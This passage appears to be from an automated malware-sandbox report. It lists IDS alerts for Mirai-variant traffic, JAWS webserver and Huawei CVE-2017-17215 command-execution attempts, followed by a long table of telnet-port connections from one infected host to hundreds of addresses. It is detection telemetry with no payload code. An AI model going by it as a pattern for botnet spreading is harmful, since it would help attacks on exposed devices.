2025-01-05T14:27:01.179009+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52402	54.76.185.62	80	TCP
2025-01-05T14:27:03.056182+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38494	126.184.49.221	80	TCP
2025-01-05T14:27:03.056182+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38494	126.184.49.221	80	TCP
2025-01-05T14:27:05.590905+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45458	37.84.148.81	80	TCP
2025-01-05T14:27:05.590905+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45458	37.84.148.81	80	TCP
2025-01-05T14:27:08.779351+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50974	156.237.79.160	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 14:26:50.616552114 CET	57214	23	192.168.2.13	134.131.46.107
Jan 5, 2025 14:26:50.616564989 CET	57214	23	192.168.2.13	91.181.157.107
Jan 5, 2025 14:26:50.616575003 CET	57214	23	192.168.2.13	218.255.160.172
Jan 5, 2025 14:26:50.616575956 CET	57214	23	192.168.2.13	185.144.244.25
Jan 5, 2025 14:26:50.616578102 CET	57214	23	192.168.2.13	72.171.16.106
Jan 5, 2025 14:26:50.616590023 CET	57214	23	192.168.2.13	40.87.116.21
Jan 5, 2025 14:26:50.616600990 CET	57214	23	192.168.2.13	192.109.44.215
Jan 5, 2025 14:26:50.616617918 CET	57214	23	192.168.2.13	184.207.93.58
Jan 5, 2025 14:26:50.616624117 CET	57214	23	192.168.2.13	73.90.13.63
Jan 5, 2025 14:26:50.616624117 CET	57214	23	192.168.2.13	173.74.147.115
Jan 5, 2025 14:26:50.616626978 CET	57214	23	192.168.2.13	62.204.53.104
Jan 5, 2025 14:26:50.616626978 CET	57214	23	192.168.2.13	189.110.96.5
Jan 5, 2025 14:26:50.616631031 CET	57214	23	192.168.2.13	27.7.219.11
Jan 5, 2025 14:26:50.616636992 CET	57214	23	192.168.2.13	165.48.177.188
Jan 5, 2025 14:26:50.616642952 CET	57214	23	192.168.2.13	82.1.190.6
Jan 5, 2025 14:26:50.616646051 CET	57214	23	192.168.2.13	130.4.212.38
Jan 5, 2025 14:26:50.616646051 CET	57214	23	192.168.2.13	20.64.35.248
Jan 5, 2025 14:26:50.616663933 CET	57214	23	192.168.2.13	35.44.156.252
Jan 5, 2025 14:26:50.616664886 CET	57214	23	192.168.2.13	57.87.60.192
Jan 5, 2025 14:26:50.616667986 CET	57214	23	192.168.2.13	171.249.220.193
Jan 5, 2025 14:26:50.616666079 CET	57214	23	192.168.2.13	81.141.49.95
Jan 5, 2025 14:26:50.616677046 CET	57214	23	192.168.2.13	120.162.210.222
Jan 5, 2025 14:26:50.616683006 CET	57214	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:50.616692066 CET	57214	23	192.168.2.13	192.88.16.170
Jan 5, 2025 14:26:50.616692066 CET	57214	23	192.168.2.13	126.122.25.59
Jan 5, 2025 14:26:50.616692066 CET	57214	23	192.168.2.13	114.248.116.37
Jan 5, 2025 14:26:50.616725922 CET	57214	23	192.168.2.13	143.5.144.46
Jan 5, 2025 14:26:50.616729021 CET	57214	23	192.168.2.13	172.78.203.242
Jan 5, 2025 14:26:50.616744995 CET	57214	23	192.168.2.13	68.239.10.208
Jan 5, 2025 14:26:50.616748095 CET	57214	23	192.168.2.13	40.187.155.252
Jan 5, 2025 14:26:50.616756916 CET	57214	23	192.168.2.13	170.137.192.196
Jan 5, 2025 14:26:50.616760015 CET	57214	23	192.168.2.13	12.74.26.216
Jan 5, 2025 14:26:50.616770029 CET	57214	23	192.168.2.13	121.194.104.226
Jan 5, 2025 14:26:50.616775036 CET	57214	23	192.168.2.13	106.152.185.208
Jan 5, 2025 14:26:50.616782904 CET	57214	23	192.168.2.13	198.52.146.165
Jan 5, 2025 14:26:50.616794109 CET	57214	23	192.168.2.13	137.203.156.97
Jan 5, 2025 14:26:50.616795063 CET	57214	23	192.168.2.13	177.142.33.22
Jan 5, 2025 14:26:50.616796970 CET	57214	23	192.168.2.13	37.64.134.63
Jan 5, 2025 14:26:50.616806030 CET	57214	23	192.168.2.13	92.229.23.10
Jan 5, 2025 14:26:50.616806030 CET	57214	23	192.168.2.13	144.208.77.183
Jan 5, 2025 14:26:50.617038965 CET	57214	23	192.168.2.13	57.176.238.223
Jan 5, 2025 14:26:50.617048025 CET	57214	23	192.168.2.13	106.0.239.219
Jan 5, 2025 14:26:50.617053032 CET	57214	23	192.168.2.13	18.142.171.92
Jan 5, 2025 14:26:50.617062092 CET	57214	23	192.168.2.13	101.72.186.143
Jan 5, 2025 14:26:50.617063046 CET	57214	23	192.168.2.13	174.125.8.174
Jan 5, 2025 14:26:50.617074966 CET	57214	23	192.168.2.13	149.93.239.215
Jan 5, 2025 14:26:50.617075920 CET	57214	23	192.168.2.13	43.77.215.174
Jan 5, 2025 14:26:50.617084980 CET	57214	23	192.168.2.13	172.100.75.125
Jan 5, 2025 14:26:50.617094994 CET	57214	23	192.168.2.13	48.94.23.78
Jan 5, 2025 14:26:50.617105007 CET	57214	23	192.168.2.13	155.246.121.187
Jan 5, 2025 14:26:50.617109060 CET	57214	23	192.168.2.13	184.94.14.70
Jan 5, 2025 14:26:50.617116928 CET	57214	23	192.168.2.13	158.247.147.163
Jan 5, 2025 14:26:50.617122889 CET	57214	23	192.168.2.13	158.198.89.125
Jan 5, 2025 14:26:50.617130041 CET	57214	23	192.168.2.13	76.220.145.198
Jan 5, 2025 14:26:50.617131948 CET	57214	23	192.168.2.13	12.193.2.50
Jan 5, 2025 14:26:50.617132902 CET	57214	23	192.168.2.13	209.117.177.151
Jan 5, 2025 14:26:50.617150068 CET	57214	23	192.168.2.13	176.126.127.64
Jan 5, 2025 14:26:50.617150068 CET	57214	23	192.168.2.13	78.37.25.1
Jan 5, 2025 14:26:50.617151022 CET	57214	23	192.168.2.13	115.204.120.17
Jan 5, 2025 14:26:50.617162943 CET	57214	23	192.168.2.13	46.100.53.18
Jan 5, 2025 14:26:50.617163897 CET	57214	23	192.168.2.13	185.75.52.1
Jan 5, 2025 14:26:50.617177963 CET	57214	23	192.168.2.13	130.107.34.39
Jan 5, 2025 14:26:50.617181063 CET	57214	23	192.168.2.13	171.176.110.151
Jan 5, 2025 14:26:50.617192984 CET	57214	23	192.168.2.13	117.65.92.67
Jan 5, 2025 14:26:50.617197037 CET	57214	23	192.168.2.13	182.185.8.39
Jan 5, 2025 14:26:50.617202044 CET	57214	23	192.168.2.13	90.217.44.56
Jan 5, 2025 14:26:50.617212057 CET	57214	23	192.168.2.13	74.142.1.65
Jan 5, 2025 14:26:50.617219925 CET	57214	23	192.168.2.13	175.98.9.16
Jan 5, 2025 14:26:50.617221117 CET	57214	23	192.168.2.13	138.193.41.95
Jan 5, 2025 14:26:50.617223978 CET	57214	23	192.168.2.13	139.155.60.198
Jan 5, 2025 14:26:50.617333889 CET	57214	23	192.168.2.13	123.209.196.126
Jan 5, 2025 14:26:50.617333889 CET	57214	23	192.168.2.13	141.243.72.29
Jan 5, 2025 14:26:50.617347002 CET	57214	23	192.168.2.13	114.132.7.169
Jan 5, 2025 14:26:50.617352962 CET	57214	23	192.168.2.13	12.130.211.154
Jan 5, 2025 14:26:50.617357016 CET	57214	23	192.168.2.13	116.129.228.120
Jan 5, 2025 14:26:50.617372036 CET	57214	23	192.168.2.13	13.13.250.80
Jan 5, 2025 14:26:50.617372036 CET	57214	23	192.168.2.13	130.151.57.76
Jan 5, 2025 14:26:50.617374897 CET	57214	23	192.168.2.13	60.125.138.99
Jan 5, 2025 14:26:50.617407084 CET	57214	23	192.168.2.13	108.219.151.134
Jan 5, 2025 14:26:50.617409945 CET	57214	23	192.168.2.13	105.134.236.117
Jan 5, 2025 14:26:50.617420912 CET	57214	23	192.168.2.13	108.249.25.160
Jan 5, 2025 14:26:50.617427111 CET	57214	23	192.168.2.13	27.34.82.63
Jan 5, 2025 14:26:50.617430925 CET	57214	23	192.168.2.13	172.62.193.94
Jan 5, 2025 14:26:50.617436886 CET	57214	23	192.168.2.13	129.35.49.166
Jan 5, 2025 14:26:50.617465019 CET	57214	23	192.168.2.13	128.119.103.35
Jan 5, 2025 14:26:50.617468119 CET	57214	23	192.168.2.13	142.33.143.232
Jan 5, 2025 14:26:50.617477894 CET	57214	23	192.168.2.13	145.159.131.164
Jan 5, 2025 14:26:50.617486954 CET	57214	23	192.168.2.13	174.176.140.103
Jan 5, 2025 14:26:50.617491961 CET	57214	23	192.168.2.13	4.156.150.38
Jan 5, 2025 14:26:50.617502928 CET	57214	23	192.168.2.13	72.105.254.26
Jan 5, 2025 14:26:50.617505074 CET	57214	23	192.168.2.13	65.68.111.240
Jan 5, 2025 14:26:50.617506027 CET	57214	23	192.168.2.13	153.158.224.65
Jan 5, 2025 14:26:50.617517948 CET	57214	23	192.168.2.13	152.217.73.227
Jan 5, 2025 14:26:50.617518902 CET	57214	23	192.168.2.13	94.225.230.58
Jan 5, 2025 14:26:50.617527962 CET	57214	23	192.168.2.13	43.238.132.81
Jan 5, 2025 14:26:50.617528915 CET	57214	23	192.168.2.13	180.230.185.83
Jan 5, 2025 14:26:50.617541075 CET	57214	23	192.168.2.13	183.66.48.160
Jan 5, 2025 14:26:50.617541075 CET	57214	23	192.168.2.13	222.205.166.75
Jan 5, 2025 14:26:50.617542028 CET	57214	23	192.168.2.13	105.122.243.73
Jan 5, 2025 14:26:50.617542028 CET	57214	23	192.168.2.13	223.41.252.204
Jan 5, 2025 14:26:50.617562056 CET	57214	23	192.168.2.13	112.89.74.113
Jan 5, 2025 14:26:50.617923021 CET	57214	23	192.168.2.13	189.244.170.99
Jan 5, 2025 14:26:50.617929935 CET	57214	23	192.168.2.13	203.132.104.165
Jan 5, 2025 14:26:50.617935896 CET	57214	23	192.168.2.13	209.10.152.66
Jan 5, 2025 14:26:50.617938042 CET	57214	23	192.168.2.13	192.46.92.46
Jan 5, 2025 14:26:50.617950916 CET	57214	23	192.168.2.13	118.141.145.205
Jan 5, 2025 14:26:50.617950916 CET	57214	23	192.168.2.13	192.1.216.29
Jan 5, 2025 14:26:50.617950916 CET	57214	23	192.168.2.13	74.113.89.253
Jan 5, 2025 14:26:50.617964029 CET	57214	23	192.168.2.13	107.148.233.179
Jan 5, 2025 14:26:50.617964029 CET	57214	23	192.168.2.13	4.60.191.109
Jan 5, 2025 14:26:50.617973089 CET	57214	23	192.168.2.13	65.254.72.249
Jan 5, 2025 14:26:50.617980957 CET	57214	23	192.168.2.13	113.182.234.139
Jan 5, 2025 14:26:50.617988110 CET	57214	23	192.168.2.13	185.5.61.22
Jan 5, 2025 14:26:50.617995977 CET	57214	23	192.168.2.13	198.73.78.237
Jan 5, 2025 14:26:50.617999077 CET	57214	23	192.168.2.13	52.210.216.145
Jan 5, 2025 14:26:50.618010998 CET	57214	23	192.168.2.13	64.83.120.70
Jan 5, 2025 14:26:50.618019104 CET	57214	23	192.168.2.13	161.41.229.6
Jan 5, 2025 14:26:50.618025064 CET	57214	23	192.168.2.13	195.45.54.46
Jan 5, 2025 14:26:50.618029118 CET	57214	23	192.168.2.13	84.16.242.132
Jan 5, 2025 14:26:50.618048906 CET	57214	23	192.168.2.13	218.37.164.166
Jan 5, 2025 14:26:50.618048906 CET	57214	23	192.168.2.13	69.177.181.104
Jan 5, 2025 14:26:50.618050098 CET	57214	23	192.168.2.13	50.28.230.253
Jan 5, 2025 14:26:50.618051052 CET	57214	23	192.168.2.13	92.8.146.10
Jan 5, 2025 14:26:50.618058920 CET	57214	23	192.168.2.13	204.230.43.185
Jan 5, 2025 14:26:50.618061066 CET	57214	23	192.168.2.13	154.146.142.2
Jan 5, 2025 14:26:50.618062019 CET	57214	23	192.168.2.13	221.142.162.162
Jan 5, 2025 14:26:50.618065119 CET	57214	23	192.168.2.13	173.99.109.48
Jan 5, 2025 14:26:50.618065119 CET	57214	23	192.168.2.13	198.58.78.55
Jan 5, 2025 14:26:50.618065119 CET	57214	23	192.168.2.13	166.188.166.150
Jan 5, 2025 14:26:50.618067026 CET	57214	23	192.168.2.13	74.224.41.203
Jan 5, 2025 14:26:50.618067026 CET	57214	23	192.168.2.13	105.31.143.53
Jan 5, 2025 14:26:50.618071079 CET	57214	23	192.168.2.13	106.11.230.139
Jan 5, 2025 14:26:50.618071079 CET	57214	23	192.168.2.13	70.183.220.31
Jan 5, 2025 14:26:50.618084908 CET	57214	23	192.168.2.13	87.62.24.76
Jan 5, 2025 14:26:50.618087053 CET	57214	23	192.168.2.13	34.131.242.82
Jan 5, 2025 14:26:50.618098021 CET	57214	23	192.168.2.13	223.253.234.193
Jan 5, 2025 14:26:50.618099928 CET	57214	23	192.168.2.13	43.255.103.67
Jan 5, 2025 14:26:50.618099928 CET	57214	23	192.168.2.13	70.110.196.53
Jan 5, 2025 14:26:50.618103027 CET	57214	23	192.168.2.13	67.150.5.222
Jan 5, 2025 14:26:50.618108034 CET	57214	23	192.168.2.13	195.252.38.51
Jan 5, 2025 14:26:50.618108988 CET	57214	23	192.168.2.13	40.39.37.238
Jan 5, 2025 14:26:50.618112087 CET	57214	23	192.168.2.13	94.247.197.66
Jan 5, 2025 14:26:50.618113995 CET	57214	23	192.168.2.13	110.228.44.94
Jan 5, 2025 14:26:50.618168116 CET	57214	23	192.168.2.13	42.54.232.27
Jan 5, 2025 14:26:50.618170023 CET	57214	23	192.168.2.13	8.166.163.79
Jan 5, 2025 14:26:50.618180990 CET	57214	23	192.168.2.13	170.231.247.161
Jan 5, 2025 14:26:50.618180990 CET	57214	23	192.168.2.13	142.236.149.10
Jan 5, 2025 14:26:50.618184090 CET	57214	23	192.168.2.13	138.210.106.27
Jan 5, 2025 14:26:50.618185043 CET	57214	23	192.168.2.13	86.25.248.240
Jan 5, 2025 14:26:50.618221045 CET	57214	23	192.168.2.13	106.24.62.139
Jan 5, 2025 14:26:50.618226051 CET	57214	23	192.168.2.13	216.101.17.105
Jan 5, 2025 14:26:50.618233919 CET	57214	23	192.168.2.13	199.93.214.171
Jan 5, 2025 14:26:50.618241072 CET	57214	23	192.168.2.13	98.13.187.165
Jan 5, 2025 14:26:50.618246078 CET	57214	23	192.168.2.13	87.23.10.235
Jan 5, 2025 14:26:50.618246078 CET	57214	23	192.168.2.13	24.180.180.61
Jan 5, 2025 14:26:50.618252039 CET	57214	23	192.168.2.13	128.228.153.46
Jan 5, 2025 14:26:50.618262053 CET	57214	23	192.168.2.13	83.240.185.122
Jan 5, 2025 14:26:50.618263006 CET	57214	23	192.168.2.13	186.86.12.61
Jan 5, 2025 14:26:50.618263006 CET	57214	23	192.168.2.13	143.193.128.139
Jan 5, 2025 14:26:50.618278027 CET	57214	23	192.168.2.13	54.132.122.147
Jan 5, 2025 14:26:50.618279934 CET	57214	23	192.168.2.13	72.244.254.197
Jan 5, 2025 14:26:50.618299007 CET	57214	23	192.168.2.13	207.170.8.2
Jan 5, 2025 14:26:50.618303061 CET	57214	23	192.168.2.13	83.40.108.134
Jan 5, 2025 14:26:50.618303061 CET	57214	23	192.168.2.13	59.107.248.128
Jan 5, 2025 14:26:50.618303061 CET	57214	23	192.168.2.13	183.89.177.133
Jan 5, 2025 14:26:50.618316889 CET	57214	23	192.168.2.13	176.114.68.175
Jan 5, 2025 14:26:50.618316889 CET	57214	23	192.168.2.13	75.111.84.151
Jan 5, 2025 14:26:50.618334055 CET	57214	23	192.168.2.13	196.169.241.237
Jan 5, 2025 14:26:50.618336916 CET	57214	23	192.168.2.13	117.113.74.193
Jan 5, 2025 14:26:50.618344069 CET	57214	23	192.168.2.13	66.109.58.215
Jan 5, 2025 14:26:50.618352890 CET	57214	23	192.168.2.13	133.170.110.145
Jan 5, 2025 14:26:50.618396044 CET	57214	23	192.168.2.13	169.88.4.244
Jan 5, 2025 14:26:50.618403912 CET	57214	23	192.168.2.13	70.131.139.232
Jan 5, 2025 14:26:50.618413925 CET	57214	23	192.168.2.13	63.15.109.218
Jan 5, 2025 14:26:50.618419886 CET	57214	23	192.168.2.13	70.88.19.6
Jan 5, 2025 14:26:50.618419886 CET	57214	23	192.168.2.13	23.52.138.9
Jan 5, 2025 14:26:50.618423939 CET	57214	23	192.168.2.13	58.216.201.185
Jan 5, 2025 14:26:50.618427038 CET	57214	23	192.168.2.13	83.95.102.155
Jan 5, 2025 14:26:50.618427038 CET	57214	23	192.168.2.13	17.216.218.248
Jan 5, 2025 14:26:50.618455887 CET	57214	23	192.168.2.13	162.205.144.251
Jan 5, 2025 14:26:50.618465900 CET	57214	23	192.168.2.13	99.216.198.68
Jan 5, 2025 14:26:50.618470907 CET	57214	23	192.168.2.13	50.2.215.53
Jan 5, 2025 14:26:50.618470907 CET	57214	23	192.168.2.13	164.149.205.201
Jan 5, 2025 14:26:50.618478060 CET	57214	23	192.168.2.13	20.98.151.67
Jan 5, 2025 14:26:50.618482113 CET	57214	23	192.168.2.13	108.72.96.45
Jan 5, 2025 14:26:50.618482113 CET	57214	23	192.168.2.13	185.98.72.3
Jan 5, 2025 14:26:50.618484020 CET	57214	23	192.168.2.13	131.189.49.218
Jan 5, 2025 14:26:50.618511915 CET	57214	23	192.168.2.13	18.37.85.110
Jan 5, 2025 14:26:50.618519068 CET	57214	23	192.168.2.13	137.157.216.54
Jan 5, 2025 14:26:50.618535042 CET	57214	23	192.168.2.13	92.230.193.213
Jan 5, 2025 14:26:50.618535042 CET	57214	23	192.168.2.13	76.14.98.140
Jan 5, 2025 14:26:50.618539095 CET	57214	23	192.168.2.13	98.57.252.153
Jan 5, 2025 14:26:50.618539095 CET	57214	23	192.168.2.13	167.25.210.157
Jan 5, 2025 14:26:50.618542910 CET	57214	23	192.168.2.13	34.199.90.15
Jan 5, 2025 14:26:50.618542910 CET	57214	23	192.168.2.13	181.212.92.185
Jan 5, 2025 14:26:50.618542910 CET	57214	23	192.168.2.13	4.191.65.224
Jan 5, 2025 14:26:50.618547916 CET	57214	23	192.168.2.13	48.175.130.117
Jan 5, 2025 14:26:50.618613005 CET	57214	23	192.168.2.13	200.4.244.106
Jan 5, 2025 14:26:50.618616104 CET	57214	23	192.168.2.13	2.74.42.245
Jan 5, 2025 14:26:50.618629932 CET	57214	23	192.168.2.13	145.74.23.172
Jan 5, 2025 14:26:50.618634939 CET	57214	23	192.168.2.13	181.65.214.243
Jan 5, 2025 14:26:50.618634939 CET	57214	23	192.168.2.13	75.61.41.180
Jan 5, 2025 14:26:50.618635893 CET	57214	23	192.168.2.13	125.192.159.100
Jan 5, 2025 14:26:50.618637085 CET	57214	23	192.168.2.13	108.238.85.210
Jan 5, 2025 14:26:50.618643045 CET	57214	23	192.168.2.13	204.249.108.80
Jan 5, 2025 14:26:50.618652105 CET	57214	23	192.168.2.13	74.121.43.234
Jan 5, 2025 14:26:50.618741035 CET	57214	23	192.168.2.13	53.105.234.69
Jan 5, 2025 14:26:50.618750095 CET	57214	23	192.168.2.13	161.17.236.197
Jan 5, 2025 14:26:50.618756056 CET	57214	23	192.168.2.13	13.25.243.124
Jan 5, 2025 14:26:50.618765116 CET	57214	23	192.168.2.13	164.146.69.65
Jan 5, 2025 14:26:50.618768930 CET	57214	23	192.168.2.13	24.246.132.189
Jan 5, 2025 14:26:50.618777037 CET	57214	23	192.168.2.13	111.42.231.59
Jan 5, 2025 14:26:50.618781090 CET	57214	23	192.168.2.13	77.22.44.37
Jan 5, 2025 14:26:50.618781090 CET	57214	23	192.168.2.13	137.125.81.163
Jan 5, 2025 14:26:50.618797064 CET	57214	23	192.168.2.13	84.141.187.73
Jan 5, 2025 14:26:50.618799925 CET	57214	23	192.168.2.13	85.110.32.243
Jan 5, 2025 14:26:50.618803024 CET	57214	23	192.168.2.13	80.76.98.92
Jan 5, 2025 14:26:50.618818998 CET	57214	23	192.168.2.13	38.205.70.18
Jan 5, 2025 14:26:50.618823051 CET	57214	23	192.168.2.13	72.207.76.250
Jan 5, 2025 14:26:50.618823051 CET	57214	23	192.168.2.13	59.40.157.36
Jan 5, 2025 14:26:50.618824959 CET	57214	23	192.168.2.13	118.195.76.30
Jan 5, 2025 14:26:50.618839979 CET	57214	23	192.168.2.13	143.190.228.15
Jan 5, 2025 14:26:50.618849039 CET	57214	23	192.168.2.13	20.54.146.116
Jan 5, 2025 14:26:50.618849993 CET	57214	23	192.168.2.13	76.145.48.90
Jan 5, 2025 14:26:50.618861914 CET	57214	23	192.168.2.13	125.168.186.30
Jan 5, 2025 14:26:50.618864059 CET	57214	23	192.168.2.13	165.50.204.241
Jan 5, 2025 14:26:50.618877888 CET	57214	23	192.168.2.13	129.246.202.210
Jan 5, 2025 14:26:50.618881941 CET	57214	23	192.168.2.13	130.170.206.86
Jan 5, 2025 14:26:50.618882895 CET	57214	23	192.168.2.13	18.253.168.29
Jan 5, 2025 14:26:50.618889093 CET	57214	23	192.168.2.13	61.61.67.196
Jan 5, 2025 14:26:50.618935108 CET	57214	23	192.168.2.13	53.207.213.177
Jan 5, 2025 14:26:50.618940115 CET	57214	23	192.168.2.13	201.4.152.169
Jan 5, 2025 14:26:50.618943930 CET	57214	23	192.168.2.13	192.130.98.224
Jan 5, 2025 14:26:50.618949890 CET	57214	23	192.168.2.13	133.166.248.134
Jan 5, 2025 14:26:50.618978977 CET	57214	23	192.168.2.13	27.42.111.7
Jan 5, 2025 14:26:50.618982077 CET	57214	23	192.168.2.13	42.123.21.209
Jan 5, 2025 14:26:50.618990898 CET	57214	23	192.168.2.13	171.187.39.34
Jan 5, 2025 14:26:50.618992090 CET	57214	23	192.168.2.13	19.46.19.27
Jan 5, 2025 14:26:50.619003057 CET	57214	23	192.168.2.13	42.1.97.35
Jan 5, 2025 14:26:50.619004965 CET	57214	23	192.168.2.13	166.135.83.119
Jan 5, 2025 14:26:50.619008064 CET	57214	23	192.168.2.13	100.191.17.107
Jan 5, 2025 14:26:50.619012117 CET	57214	23	192.168.2.13	64.113.62.246
Jan 5, 2025 14:26:50.619016886 CET	57214	23	192.168.2.13	18.187.169.179
Jan 5, 2025 14:26:50.619046926 CET	57214	23	192.168.2.13	90.25.60.118
Jan 5, 2025 14:26:50.619049072 CET	57214	23	192.168.2.13	179.10.30.68
Jan 5, 2025 14:26:50.619049072 CET	57214	23	192.168.2.13	152.41.126.207
Jan 5, 2025 14:26:50.619050980 CET	57214	23	192.168.2.13	218.186.76.220
Jan 5, 2025 14:26:50.619062901 CET	57214	23	192.168.2.13	211.67.207.150
Jan 5, 2025 14:26:50.619066000 CET	57214	23	192.168.2.13	204.101.162.206
Jan 5, 2025 14:26:50.619071960 CET	57214	23	192.168.2.13	146.226.56.215
Jan 5, 2025 14:26:50.619098902 CET	57214	23	192.168.2.13	72.194.79.113
Jan 5, 2025 14:26:50.619102001 CET	57214	23	192.168.2.13	176.175.255.36
Jan 5, 2025 14:26:50.619112968 CET	57214	23	192.168.2.13	51.211.189.79
Jan 5, 2025 14:26:50.619117975 CET	57214	23	192.168.2.13	166.126.163.214
Jan 5, 2025 14:26:50.619123936 CET	57214	23	192.168.2.13	69.45.51.28
Jan 5, 2025 14:26:50.619131088 CET	57214	23	192.168.2.13	5.63.150.24
Jan 5, 2025 14:26:50.619136095 CET	57214	23	192.168.2.13	58.74.14.13
Jan 5, 2025 14:26:50.619144917 CET	57214	23	192.168.2.13	169.161.195.135
Jan 5, 2025 14:26:50.619151115 CET	57214	23	192.168.2.13	112.137.18.224
Jan 5, 2025 14:26:50.619154930 CET	57214	23	192.168.2.13	82.69.161.114
Jan 5, 2025 14:26:50.619165897 CET	57214	23	192.168.2.13	183.116.247.48
Jan 5, 2025 14:26:50.619168043 CET	57214	23	192.168.2.13	74.48.74.11
Jan 5, 2025 14:26:50.619180918 CET	57214	23	192.168.2.13	152.119.149.204
Jan 5, 2025 14:26:50.619184971 CET	57214	23	192.168.2.13	94.90.56.46
Jan 5, 2025 14:26:50.619302988 CET	57214	23	192.168.2.13	140.229.215.68
Jan 5, 2025 14:26:50.619304895 CET	57214	23	192.168.2.13	20.138.253.3
Jan 5, 2025 14:26:50.619306087 CET	57214	23	192.168.2.13	172.8.231.154
Jan 5, 2025 14:26:50.619327068 CET	57214	23	192.168.2.13	1.44.221.68
Jan 5, 2025 14:26:50.619328022 CET	57214	23	192.168.2.13	160.121.188.181
Jan 5, 2025 14:26:50.619329929 CET	57214	23	192.168.2.13	106.5.121.96
Jan 5, 2025 14:26:50.619330883 CET	57214	23	192.168.2.13	131.142.213.131
Jan 5, 2025 14:26:50.619332075 CET	57214	23	192.168.2.13	155.243.104.137
Jan 5, 2025 14:26:50.619339943 CET	57214	23	192.168.2.13	125.87.158.39
Jan 5, 2025 14:26:50.619344950 CET	57214	23	192.168.2.13	41.134.167.73
Jan 5, 2025 14:26:50.619355917 CET	57214	23	192.168.2.13	107.185.144.121
Jan 5, 2025 14:26:50.619359970 CET	57214	23	192.168.2.13	142.110.164.1
Jan 5, 2025 14:26:50.619368076 CET	57214	23	192.168.2.13	138.69.227.110
Jan 5, 2025 14:26:50.619370937 CET	57214	23	192.168.2.13	104.121.64.63
Jan 5, 2025 14:26:50.619384050 CET	57214	23	192.168.2.13	105.65.79.74
Jan 5, 2025 14:26:50.619385004 CET	57214	23	192.168.2.13	161.54.96.254
Jan 5, 2025 14:26:50.619390965 CET	57214	23	192.168.2.13	27.171.222.43
Jan 5, 2025 14:26:50.619393110 CET	57214	23	192.168.2.13	200.139.166.81
Jan 5, 2025 14:26:50.619400024 CET	57214	23	192.168.2.13	49.43.215.9
Jan 5, 2025 14:26:50.619405985 CET	57214	23	192.168.2.13	190.190.142.172
Jan 5, 2025 14:26:50.619409084 CET	57214	23	192.168.2.13	142.207.151.133
Jan 5, 2025 14:26:50.619410038 CET	57214	23	192.168.2.13	165.220.77.104
Jan 5, 2025 14:26:50.619422913 CET	57214	23	192.168.2.13	104.169.229.174
Jan 5, 2025 14:26:50.619422913 CET	57214	23	192.168.2.13	37.27.89.70
Jan 5, 2025 14:26:50.619422913 CET	57214	23	192.168.2.13	89.134.241.33
Jan 5, 2025 14:26:50.619426012 CET	57214	23	192.168.2.13	182.140.62.103
Jan 5, 2025 14:26:50.619432926 CET	57214	23	192.168.2.13	177.208.188.218
Jan 5, 2025 14:26:50.619436026 CET	57214	23	192.168.2.13	62.104.156.241
Jan 5, 2025 14:26:50.619486094 CET	57214	23	192.168.2.13	173.121.217.29
Jan 5, 2025 14:26:50.619488955 CET	57214	23	192.168.2.13	194.31.23.252
Jan 5, 2025 14:26:50.619498014 CET	57214	23	192.168.2.13	130.163.70.250
Jan 5, 2025 14:26:50.619501114 CET	57214	23	192.168.2.13	138.6.190.0
Jan 5, 2025 14:26:50.619503021 CET	57214	23	192.168.2.13	166.27.185.60
Jan 5, 2025 14:26:50.619533062 CET	57214	23	192.168.2.13	84.83.183.23
Jan 5, 2025 14:26:50.619538069 CET	57214	23	192.168.2.13	169.252.193.49
Jan 5, 2025 14:26:50.619543076 CET	57214	23	192.168.2.13	122.187.165.81
Jan 5, 2025 14:26:50.619548082 CET	57214	23	192.168.2.13	58.244.250.39
Jan 5, 2025 14:26:50.619550943 CET	57214	23	192.168.2.13	36.190.216.140
Jan 5, 2025 14:26:50.619555950 CET	57214	23	192.168.2.13	198.165.177.102
Jan 5, 2025 14:26:50.619590044 CET	57214	23	192.168.2.13	61.160.135.10
Jan 5, 2025 14:26:50.619591951 CET	57214	23	192.168.2.13	102.232.233.161
Jan 5, 2025 14:26:50.619601011 CET	57214	23	192.168.2.13	67.246.59.237
Jan 5, 2025 14:26:50.619605064 CET	57214	23	192.168.2.13	83.19.6.45
Jan 5, 2025 14:26:50.619610071 CET	57214	23	192.168.2.13	206.166.216.144
Jan 5, 2025 14:26:50.619641066 CET	57214	23	192.168.2.13	14.183.16.110
Jan 5, 2025 14:26:50.619646072 CET	57214	23	192.168.2.13	81.39.104.207
Jan 5, 2025 14:26:50.619647980 CET	57214	23	192.168.2.13	202.108.232.123
Jan 5, 2025 14:26:50.619657993 CET	57214	23	192.168.2.13	89.152.139.158
Jan 5, 2025 14:26:50.619659901 CET	57214	23	192.168.2.13	1.119.36.247
Jan 5, 2025 14:26:50.619977951 CET	57214	23	192.168.2.13	36.89.80.227
Jan 5, 2025 14:26:50.619978905 CET	57214	23	192.168.2.13	203.249.90.110
Jan 5, 2025 14:26:50.619981050 CET	57214	23	192.168.2.13	70.161.42.112
Jan 5, 2025 14:26:50.619995117 CET	57214	23	192.168.2.13	153.81.210.234
Jan 5, 2025 14:26:50.619996071 CET	57214	23	192.168.2.13	92.252.188.228
Jan 5, 2025 14:26:50.620002985 CET	57214	23	192.168.2.13	164.211.250.197
Jan 5, 2025 14:26:50.620013952 CET	57214	23	192.168.2.13	91.170.91.151
Jan 5, 2025 14:26:50.620013952 CET	57214	23	192.168.2.13	5.236.198.201
Jan 5, 2025 14:26:50.620022058 CET	57214	23	192.168.2.13	162.158.23.105
Jan 5, 2025 14:26:50.620033026 CET	57214	23	192.168.2.13	9.93.6.69
Jan 5, 2025 14:26:50.620033026 CET	57214	23	192.168.2.13	169.59.109.140
Jan 5, 2025 14:26:50.620033026 CET	57214	23	192.168.2.13	8.225.217.19
Jan 5, 2025 14:26:50.620047092 CET	57214	23	192.168.2.13	198.4.145.90
Jan 5, 2025 14:26:50.620049000 CET	57214	23	192.168.2.13	65.162.74.116
Jan 5, 2025 14:26:50.620058060 CET	57214	23	192.168.2.13	222.213.247.147
